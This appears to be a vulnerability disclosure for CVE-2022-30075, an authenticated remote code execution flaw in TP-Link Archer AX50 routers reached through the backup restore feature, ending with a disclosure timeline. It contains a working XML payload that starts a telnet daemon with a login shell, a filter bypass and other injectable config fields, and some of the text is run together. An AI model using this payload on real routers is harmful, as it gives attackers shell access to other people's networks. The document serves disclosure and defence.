
Tp-Link Archer AX50 Authenticated RCE (CVE-2022-30075)
Authenticated Remote Code Execution in Tp-Link Routers
If your Tp-Link router has backup and restore functionality and firmware is older than june 2022, it is probably vulnerable
Tp-Link Archer AX50, other tplink routers may use different format of backups and exploit needs to be modified
Using exploit for starting telnet daemon on the router

<button name="led_switch">
<action>pressed</action>
<button>ledswitch</button>
<handler>/lib/led_switch</handler>
</button>
<button name="exploit">
<action>pressed</action>
<button>ledswitch</button>
<handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>
system.button.handler, but it can be easily bypassed by changing name of parent xml node (e.g. name="exploit")system.button.handler, but also using ddns.service.ip_script, firewall.include.path, uhttpd.main, and others.../usr/sbin/telnetd -l /bin/login.shtelnet 192.168.1.115.03.2022 - Identified vulnerability
15.03.2022 - Contacted Tp-Link support
16.03.2022 - Recieved response from Tp-Link
02.05.2022 - Assigned CVE
27.05.2022 - Tp-Link released firmware with fixed vulnerability
07.06.2022 - Published technical details